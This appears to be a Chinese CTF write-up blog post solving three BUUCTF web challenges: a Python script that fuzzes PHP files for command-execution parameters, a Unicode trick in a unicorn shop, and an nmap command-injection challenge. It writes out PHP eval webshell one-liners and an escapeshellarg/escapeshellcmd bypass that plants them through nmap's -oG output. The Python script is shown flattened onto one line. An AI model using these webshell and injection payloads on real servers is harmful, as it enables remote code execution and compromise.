第17天(共3题)
Web
[强网杯 2019]高明的黑客

 .tar.gz 是 Linux 系统下的压缩包,访问即可下载
打开后有3000多个php文件,通过题解得知需要写Python脚本找出合适的GetShell文件(因为每个文件里都会通过system函数执行命令,但不是每个函数都带有参数)
 

因为拿到了所有PHP文件,所以我们可以在本地搭建环境运行脚本(我的本地环境搭建域名是localtest)

接下来就是使用脚本(来自大佬题解)
import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)  							  	#这儿设置最大的线程数
filePath = r"D:/CTF/PHP_Study/phpstudy_pro/WWW/src"         #自己替换为文件所在目录(我的是#D:/CTF/PHP_Study/phpstudy_pro/WWW/src)
os.chdir(filePath)													#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):s1.acquire()print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))data = {}														#所有的$_POSTparams = {}														#所有的$_GETfor m in gets:params[m] = "echo 'xxxxxx';"for n in posts:data[n] = "echo 'xxxxxx';"url = 'http://localtest/'+file                      #自己替换为本地urlreq = session.post(url, data=data, params=params)			#一次性请求所有的GET和POSTreq.close()												# 关闭请求  释放内存req.encoding = 'utf-8'content = req.text#print(content)if "xxxxxx" in content:									#如果发现有可以利用的参数,继续筛选出具体的参数flag = 0for a in gets:req = session.get(url+'?%s='%a+"echo 'xxxxxx';")content = req.textreq.close()												# 关闭请求  释放内存if "xxxxxx" in content:flag = 1breakif flag != 1:for b in posts:req = session.post(url, data={b:"echo 'xxxxxx';"})content = req.textreq.close()												# 关闭请求  释放内存if "xxxxxx" in content:breakif flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,param = aelse:param = bprint('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)print('结束时间:  ' + time.asctime(time.localtime(time.time())))s1.release()for i in files:															#加入多线程t = threading.Thread(target=get_content, args=(i,))t.start()
原理是遍历目录下所有文件,然后定义了一个函数逐个打开文件,再正则表达式匹配获取所有的 GET 参数和 POST 参数,再访问 url 传入参数验证是否可用。
判断的方法是令传入的参数在访问页面显示一个内容echo 'XXXXXX',然后再判断页面有没有这个内容,有则传入的参数执行成功,没有则无效的。

构造URL:http://1955d020-deb3-447d-b433-7bc05ed1cbc8.node5.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat /flag
得到flag

[ASIS 2019]Unicorn shop

这是一个购买独角兽的商店,尝试购买第一个独角兽

发现除了购买第一个,购买第二三个也会显示以下界面

但购买第四个显示的是:

意思是金额只能输入一个字符,但是价格1337,是四个字符,通过题目名字里的Unicode和题解得知需要找到一个Unicode编码的字符,其值大于1337
在 这个网站 搜索thousand,找到一个比1337大的字符

复制提交即可


[网鼎杯 2020 朱雀组]Nmap

这是一道有关Namp的题目
扫描127.0.0.1返回以下内容

Nmap的输出命令:
 主要只有四种:
-oN < filespec > (标准输出)
-oX < filespec> (XML输出)
-oS < filespec> (ScRipT KIdd|3 oUTpuT)
-oG < filespec> (Grep输出)
其中以 -oN 和 -oG 为主
在本地Linux中使用Namp将一句话木马写入文件需要对一句话木马用引号括起:
namp '<?php @eval($_POST[hack]);?>' -oG shell.php
或者进行转义:
namp \<\?php @eval\(\$_POST\[hack\]\)\;\?\> -oG shell.php
尝试127.0.0.1 | ls,返回以下内容

说明极有可能网站使用了escapeshellcmd()函数对字符串进行了转义
接下来说明escapeshellarg()函数和escapeshellcmd()函数的功能:
escapeshellarg()函数用于为字符串添加单引号,因此shell不会解释其中的特殊字符。如果字符串中已经有单引号了,那么该函数会先对字符串中的单引号做转义,再分别用两对单引号括起转义单引号前后的两段字符串
escapeshellcmd()函数用于对字符串中可能会欺骗shell执行任意命令的字符进行转义。此函数保证用户输入的数据安全
例如传入127.0.0.1' -v -d a=1
经过escapeshellarg()函数处理后变为:
'127.0.0.1'    \'     ' -v -d a=1'
这里为了方便看我把两段字符串分的很开
如果我们构造127.0.0.1 | <?php @eval($_POST[hack]);?> -oG shell.php
那么经过两个函数的处理就会变成:
'127.0.0.1 | \<\?php @eval\(\)\;\?\> -oG hack.php '
这是一段字符串,并且里面的特殊符号还被转义了,我们知道为了将一句话木马写入文件可以用单引号括起或者转义,但这里两者兼具反而不行,因此我们要考虑把单引号省略掉
在原基础上左右各添加一个单引号:
' <?php @eval($_POST[hack]);?> -oG shell.php '   //注意单引号和<要隔一个空格防止<被转义
但是网站限制了php字样,所以上面的例子要改为:
' <?=@eval($_POST[hack]);?> -oG hack.phtml '    //<? ?>是短标签
这里解释一下,经过两个函数的处理后就会变为:
第一个:
''   \'  ' <?= @eval($_REQUEST[1]);?> -oG test.phtml'  \'    ''
第二个:
''   \\'   ' <\?= @eval$REQUEST\[1\]\;\?\> -oG test.phtml'   \\'   ''
前面和后面的''被主机解释为空连接符,\\被解释为普通没有功能的\,紧接后面的' '也是空连接符,后半部分的' \\'对前面的字符传就没有影响了,因此一句话木马成功省略掉了单引号,能够写入文件并执行
查询:
' <?=@eval($_POST[hack]);?> -oG hack.phtml '
返回以下内容说明写入成功
 
 构造POST方法拿到flag
 